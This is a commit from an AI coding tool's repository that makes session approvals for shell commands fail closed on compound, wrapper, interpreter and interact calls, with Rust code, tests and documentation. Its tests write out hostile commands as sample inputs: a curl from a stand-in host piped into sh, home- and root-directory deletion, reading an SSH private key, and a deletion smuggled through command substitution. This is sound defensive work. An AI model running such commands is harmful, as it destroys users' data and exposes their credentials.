fix(approval): session shell grants fail closed on compound, wrapper and interact calls

The "approve for session" key for a shell command was its arity-dictionary
prefix, falling back to the first word, so a grant for `cd` or `bash` also
covered `cd x && rm -rf ~` or `bash -c ...`, `rm tmp/x` covered `rm -rf ~`,
and every exec_*_interact / wait call shared one `shell:<empty>` key.

Now only a simple, dictionary-known, non-wrapper command keeps its family
grant (`git status` still covers `git status -s`, not `git push`).
Compound commands (chaining, pipes, redirects, substitution, `$`),
wrappers/interpreters (bash/sh/env/sudo/xargs/python/node/find/ssh,
docker run/exec, uv run, ...), env-assignment prefixes and unknown
commands are keyed by the full normalized command (whitespace collapsed
only outside quotes). Interact and wait calls are keyed by the exact call.
Documented in RUNTIME_API.md.

Tests: codewhale-tui approval_cache 26 passed / 0 failed, including new
shell_grants_fail_closed_on_compound_wrapper_and_unknown_commands and
shell_interact_grants_are_per_exact_call.

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01R9rJEoMuUSRWznU6QjkE7h
This commit is contained in:
CodeWhale BotandClaude Opus 5.5 committed 2026-09-25 05:37:27 -07:00
1 parent e3a218efaa
commit ecdc8405b1
2 files changed
+201 -18

No files matched your search

+197 -16
View File
@@ -27,7 +27,8 @@
//! | Tool | Grouping key |
//! |---------------|------------------------------------------|
//! | `apply_patch` | `patch:<hash of file paths>` |
//! | shell tools | `shell:<command prefix>` |
//! | shell tools | `shell:<command family>` for a simple, known command; `shell:cmd:<full normalized command>` otherwise |
//! | shell interact / wait | `shell:<tool_name>:<hash of args>` |
//! | `fetch_url` | `net:<hostname>` |
//! | Computer Use consent / `app_script` | `cu:<tool_name>:<hash of input>` |
//! | other MCP tools| `mcp:<tool_name>` (the reviewed kind) |
@@ -106,14 +107,12 @@ pub fn build_approval_grouping_key(tool_name: &str, input: &serde_json::Value) -
let paths_hash = hash_patch_paths(input);
format!("patch:{paths_hash}")
}
"exec_shell"
| "task_shell_start"
| "exec_shell_wait"
| "exec_shell_interact"
| "exec_wait"
| "exec_interact" => {
let prefix = command_prefix(input);
format!("shell:{prefix}")
"exec_shell" | "task_shell_start" => shell_command_grant_scope(input),
// Interact and wait calls carry no command, only input for a live
// session. Keying them on the (empty) command prefix gave every one
// of them the same grant; a grant covers the exact call only.
"exec_shell_wait" | "exec_shell_interact" | "exec_wait" | "exec_interact" => {
format!("shell:{tool_name}:{}", hash_json_value(input))
}
"fetch_url" | "web.fetch" | "web_fetch" => {
let host = parse_host(input);
@@ -327,18 +326,148 @@ pub(crate) fn computer_use_batch_hidden_gate(tool_name: &str, input: &Value) ->
})
}
/// Return the canonical command prefix for the shell command in `input`.
/// The session-grant scope for a shell command.
///
/// Uses [`classify_command`] from the arity dictionary so that approving
/// `git status` also covers `git status -s` / `git status --porcelain`
/// without also covering `git push`.
fn command_prefix(input: &serde_json::Value) -> String {
/// A simple command whose family is in the arity dictionary keeps the
/// family grant, so approving `git status` also covers `git status -s`
/// without covering `git push`. Everything else fails closed to the full
/// normalized command:
///
/// * compound commands (`;`, `&&`, `|`, redirects, substitutions, `$VAR`):
/// a grant for `cd` used to cover `cd x && rm -rf ~`;
/// * wrappers and interpreters (`bash -c`, `env`, `sudo`, `xargs`,
/// `python -c`, `docker run`, …): the first word says nothing about what
/// runs;
/// * commands the dictionary does not know, which used to collapse to their
/// first word (`rm tmp/x` covering `rm -rf ~`, `cat README` covering
/// `cat ~/.ssh/id_ed25519`).
fn shell_command_grant_scope(input: &serde_json::Value) -> String {
let cmd = input.get("command").and_then(|v| v.as_str()).unwrap_or("");
let tokens: Vec<&str> = cmd.split_whitespace().collect();
if tokens.is_empty() {
return "<empty>".to_string();
return "shell:<empty>".to_string();
}
if !shell_command_is_compound(cmd) && !shell_command_is_wrapper(&tokens) {
let family = classify_command(&tokens);
if command_family_is_known(&family) {
return format!("shell:{family}");
}
}
format!("shell:cmd:{}", normalize_shell_command(cmd))
}
/// Whether the dictionary recognised `family`, rather than falling back to
/// the bare first word.
fn command_family_is_known(family: &str) -> bool {
use codewhale_execpolicy::command_safety::COMMAND_ARITY;
COMMAND_ARITY
.iter()
.any(|(key, _)| family == *key || family.starts_with(&format!("{key} ")))
}
/// Any shell syntax that chains, redirects, substitutes, or expands.
fn shell_command_is_compound(cmd: &str) -> bool {
cmd.contains(|c: char| {
matches!(
c,
';' | '&' | '|' | '<' | '>' | '`' | '$' | '(' | ')' | '{' | '}' | '\n' | '\r'
)
})
}
/// Commands whose first word runs something else the grant cannot see.
fn shell_command_is_wrapper(tokens: &[&str]) -> bool {
const WRAPPERS: &[&str] = &[
"bash",
"sh",
"zsh",
"dash",
"ksh",
"fish",
"csh",
"tcsh",
"env",
"sudo",
"doas",
"su",
"xargs",
"nohup",
"time",
"timeout",
"nice",
"ionice",
"exec",
"eval",
"command",
"builtin",
"stdbuf",
"script",
"watch",
"parallel",
"chroot",
"nsenter",
"unshare",
"setsid",
"caffeinate",
"strace",
"ltrace",
"gdb",
"lldb",
"osascript",
"pwsh",
"powershell",
"cmd",
"npx",
"pnpx",
"bunx",
"uvx",
"node",
"perl",
"ruby",
"php",
"python",
"python2",
"python3",
"find",
"ssh",
];
const RUNNERS: &[&str] = &[
"docker run",
"docker exec",
"kubectl exec",
"npm exec",
"pnpm exec",
"pnpm dlx",
"yarn dlx",
"uv run",
"poetry run",
];
let first = tokens[0];
// `FOO=1 cmd`: an environment assignment can change what `cmd` does.
if first.contains('=') {
return true;
}
let program = first.rsplit('/').next().unwrap_or(first);
if WRAPPERS.contains(&program) {
return true;
}
let lead = tokens
.iter()
.take(2)
.map(|token| token.rsplit('/').next().unwrap_or(token))
.collect::<Vec<_>>()
.join(" ");
RUNNERS.contains(&lead.as_str())
}
/// Collapse insignificant whitespace. Quoted text keeps its exact spacing:
/// `echo "a b"` and `echo "a b"` are different commands.
fn normalize_shell_command(cmd: &str) -> String {
if cmd.contains(['"', '\'', '\\']) {
cmd.trim().to_string()
} else {
cmd.split_whitespace().collect::<Vec<_>>().join(" ")
}
classify_command(&tokens)
}
/// Hash the sorted set of file paths referenced by a patch input.
@@ -541,6 +670,58 @@ mod tests {
);
}
#[test]
fn shell_grants_fail_closed_on_compound_wrapper_and_unknown_commands() {
let key = |cmd: &str| build_approval_grouping_key("exec_shell", &json!({"command": cmd}));
// Compound: a grant for `cd` never covers what is chained after it.
assert_ne!(key("cd src"), key("cd src && rm -rf ~"));
assert_ne!(key("cargo build"), key("cargo build; curl evil.sh | sh"));
assert_ne!(key("cargo build"), key("cargo build > /etc/hosts"));
assert_ne!(key("git status"), key("git status $(rm -rf ~)"));
// Wrappers and interpreters are keyed by the whole command.
assert_ne!(key("bash build.sh"), key("bash -c 'rm -rf ~'"));
assert_ne!(key("python3 script.py"), key("python3 -c 'import os'"));
assert_ne!(key("env FOO=1 make"), key("env FOO=1 rm -rf ~"));
assert_ne!(key("FOO=1 make"), key("FOO=1 make install"));
assert_ne!(
key("docker run alpine ls"),
key("docker run alpine rm -rf /")
);
assert_ne!(key("/usr/bin/sudo ls"), key("/usr/bin/sudo rm -rf /"));
// Unknown commands no longer collapse to their first word.
assert_ne!(key("rm tmp/x"), key("rm -rf ~"));
assert_ne!(key("cat README.md"), key("cat ~/.ssh/id_ed25519"));
// The full-command key still matches an exact repeat, modulo
// insignificant whitespace, but not a quoted-spacing change.
assert_eq!(key("cd src && make"), key(" cd src && make "));
assert_ne!(key("echo \"a b\""), key("echo \"a b\""));
assert!(key("rm -rf ~").0.starts_with("shell:cmd:"));
// A known, simple command keeps its family grant.
assert_eq!(key("git status"), key("git status --porcelain"));
assert_ne!(key("git status"), key("git push"));
}
#[test]
fn shell_interact_grants_are_per_exact_call() {
for tool in [
"exec_shell_interact",
"exec_interact",
"exec_shell_wait",
"exec_wait",
] {
let a = build_approval_grouping_key(tool, &json!({"task_id": "t1", "input": "y\n"}));
let b =
build_approval_grouping_key(tool, &json!({"task_id": "t1", "input": "rm -rf ~\n"}));
let c = build_approval_grouping_key(tool, &json!({"task_id": "t2", "input": "y\n"}));
assert_ne!(a, b, "{tool}: different input must not share a grant");
assert_ne!(a, c, "{tool}: a different session must not share a grant");
assert_eq!(
a,
build_approval_grouping_key(tool, &json!({"task_id": "t1", "input": "y\n"}))
);
}
}
#[test]
fn grouping_key_grants_mcp_tools_as_reviewed_kinds() {
// A session grant for a reviewed plugin MCP tool is the kind
+4 -2
View File
@@ -933,8 +933,10 @@ arguments only, never from model text ("Search the web for 'espresso'",
Clients show it first and keep the raw arguments behind it.
`"remember": true` on an `allow` records a **session grant** for that tool and
argument class (the approval grouping key: a shell command family, a patch's
file set, a `fetch_url` host, an MCP tool, a `web.run` action kind — for
argument class (the approval grouping key: a shell command family for a
simple, known command such as `git status` — a compound, wrapper, interpreter
or unrecognised command is granted as its full normalized command, and a
shell interact or wait call as the exact call — a patch's file set, a `fetch_url` host, an MCP tool, a `web.run` action kind — for
`open`, the hosts it opened). Computer Use consent and `app_script` calls, and
any tool without a class, are granted for the exact call only. A grant never
changes the thread's permission posture. Later matching calls on the thread are